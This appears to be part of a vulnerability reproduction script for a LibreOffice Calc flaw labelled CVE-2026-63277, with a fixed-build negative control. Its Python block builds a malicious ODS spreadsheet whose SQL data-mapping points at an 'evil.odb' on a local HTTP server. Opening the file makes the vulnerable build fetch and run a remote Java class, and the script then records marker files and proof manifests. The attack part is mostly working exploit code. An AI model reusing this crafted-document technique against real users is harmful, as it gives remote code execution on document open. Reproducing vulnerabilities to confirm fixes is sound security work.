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
B64ODS
python3 - "$TMP/base.ods" "$TMP/exploit.ods" "$PORT" <<'PYODS'
import sys, zipfile
src,dst,port=sys.argv[1:]
with zipfile.ZipFile(src) as zin, zipfile.ZipFile(dst,'w') as zout:
    for info in zin.infolist():
        data=zin.read(info.filename)
        if info.filename == 'content.xml':
            text=data.decode('utf-8')
            start=text.index('<calcext:data-mappings>')
            end=text.index('</calcext:data-mappings>') + len('</calcext:data-mappings>')
            mapping=(f'<calcext:data-mappings><calcext:data-mapping xlink:href="" '
                     f'calcext:provider="org.libreoffice.calc.sql" calcext:frequency="0" '
                     f'calcext:id="T@http://127.0.0.1:{port}/evil.odb" '
                     f'calcext:database-name="testDB1"><calcext:data-transformations/>'
                     f'</calcext:data-mapping></calcext:data-mappings>')
            data=(text[:start]+mapping+text[end:]).encode('utf-8')
        zout.writestr(info,data)
PYODS

python3 -m http.server "$PORT" --bind 127.0.0.1 --directory "$TMP/http" > "$LOGS/http-server-live.log" 2>&1 &
HTTP_PID=$!
cleanup() { kill "$HTTP_PID" 2>/dev/null || true; wait "$HTTP_PID" 2>/dev/null || true; }
trap 'rc=$?; cleanup; if [[ $rc -ne 0 ]]; then write_failure_manifest; fi' EXIT
for _ in $(seq 1 50); do curl -fsS "http://127.0.0.1:$PORT/evil/RemoteDriver.class" -o /dev/null && break; sleep .1; done

run_attempt() {
  local role="$1" n="$2" bin="$3" marker marker_value profile out http_before http_after
  marker="$TMP/${role}-${n}.marker"
  marker_value="CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION_${role}_${n}"
  profile="$TMP/profile-${role}-${n}"
  out="$REPRO_DIR/${role}-attempt-${n}.txt"
  rm -rf "$profile" "$marker" "$TMP/input-$role-$n.ods"; mkdir -p "$profile"
  cp "$TMP/exploit.ods" "$TMP/input-$role-$n.ods"
  rm -f "$TMP"/.~lock.* 2>/dev/null || true
  http_before="$(wc -l < "$LOGS/http-server-live.log")"
  set +e
  # Give every attempt its own process group. Calc stays open after loading a
  # document, so stop the whole group after the marker/fetch window; otherwise
  # a surviving first process can absorb the second document over LibreOffice IPC.
  setsid env JAVA_TOOL_OPTIONS="-Dpruva.marker=$marker -Dpruva.marker.value=$marker_value" SAL_USE_VCLPLUGIN=svp \
    "$bin" --headless --nologo --nodefault --nolockcheck --norestore \
    "-env:UserInstallation=file://$profile" "$TMP/input-$role-$n.ods" > "$out.tmp" 2>&1 &
  launch_pid=$!
  for _ in $(seq 1 150); do
    [[ -f "$marker" ]] && break
    kill -0 "$launch_pid" 2>/dev/null || break
    sleep .1
  done
  kill -TERM -- "-$launch_pid" 2>/dev/null || true
  sleep .5
  kill -KILL -- "-$launch_pid" 2>/dev/null || true
  wait "$launch_pid" 2>/dev/null
  rc=$?
  set -e
  http_after="$(wc -l < "$LOGS/http-server-live.log")"
  {
    echo "role=$role attempt=$n exit_code=$rc"
    echo "http_log_lines_before=$http_before after=$http_after"
    echo "marker_present=$([[ -f "$marker" ]] && echo true || echo false)"
    [[ ! -f "$marker" ]] || { echo 'marker_content_begin'; cat "$marker"; echo 'marker_content_end'; }
    echo 'product_output_begin'; cat "$out.tmp"; echo 'product_output_end'
  } > "$out"
  rm -f "$out.tmp"
  if [[ -f "$marker" ]]; then cp "$marker" "$REPRO_DIR/${role}-attempt-${n}.marker"; else rm -f "$REPRO_DIR/${role}-attempt-${n}.marker"; fi
}

run_attempt vulnerable 1 "$VULN_BIN"
run_attempt vulnerable 2 "$VULN_BIN"
run_attempt fixed 1 "$FIXED_BIN"
run_attempt fixed 2 "$FIXED_BIN"
cleanup
trap - EXIT
cp "$LOGS/http-server-live.log" "$REPRO_DIR/http-server-final.txt"

for n in 1 2; do
  grep -q 'marker_present=true' "$REPRO_DIR/vulnerable-attempt-$n.txt"
  grep -q "CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION_vulnerable_$n" "$REPRO_DIR/vulnerable-attempt-$n.txt"
  grep -qx "CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION_vulnerable_$n" "$REPRO_DIR/vulnerable-attempt-$n.marker"
  grep -q 'marker_present=false' "$REPRO_DIR/fixed-attempt-$n.txt"
done

# Bind immutable proof after all writers have stopped.
python3 - "$REPRO_DIR/fixed-negative-control.json" <<'PYCONTROL'
import json,sys
json.dump({"schema_version":1,"process_instance":"fixed-1","marker":"CVE-2026-63277_REMOTE_JDBC_CODE_EXECUTION_fixed_1","target_path_reached":True,"marker_present":False},open(sys.argv[1],"w"),indent=2); open(sys.argv[1],"a").write("\n")
PYCONTROL
TARGET_ID="git:${REPO_URL}@${VULN_COMMIT}"
TARGET_DIGEST="$(printf '%s' "$TARGET_ID" | sha256sum | awk '{print $1}')"
python3 - "$REPRO_DIR/runtime_manifest.json" "$TARGET_DIGEST" <<'PY'
import hashlib,json,platform,sys
out,digest=sys.argv[1:]
arts=["repro/vulnerable-attempt-1.txt","repro/vulnerable-attempt-2.txt","repro/vulnerable-attempt-1.marker","repro/vulnerable-attempt-2.marker","repro/fixed-attempt-1.txt","repro/fixed-attempt-2.txt","repro/fixed-negative-control.json","repro/http-server-final.txt"]
root=out.rsplit('/repro/',1)[0]
h={p:hashlib.sha256(open(root+'/'+p,'rb').read()).hexdigest() for p in arts}
data={"entrypoint_kind":"open_document","entrypoint_detail":"LibreOffice Calc opened crafted ODS containing calcext:data-mappings SQL provider, JDBC driver name, and remote HTTP class path","service_started":True,"healthcheck_passed":True,"target_path_reached":True,"runtime_stack":["LibreOffice Calc 26.2.4.2 build 0229ac93fcf0d7cbc6376066c6f35021cef002dc / 26.2.5.2 build cd7284b4cbbfeb507e630c1aac019f4157393acb","Java JDBC","local HTTP class server"],"target_identity":{"repository_url":"https://git.libreoffice.org/core","commit_sha":"0229ac93fcf0d7cbc6376066c6f35021cef002dc","target_digest":digest,"platform":"linux","architecture":platform.machine()},"proof_artifacts":arts,"artifact_sha256":h,"notes":"Two vulnerable product document-open attempts executed the remote Java class; two fixed product attempts did not create markers."}
json.dump(data,open(out,'w'),indent=2); open(out,'a').write('\n')
PY

echo 'CONFIRMED: vulnerable LibreOffice executed attacker-controlled Java over HTTP on document open; fixed LibreOffice did not.'
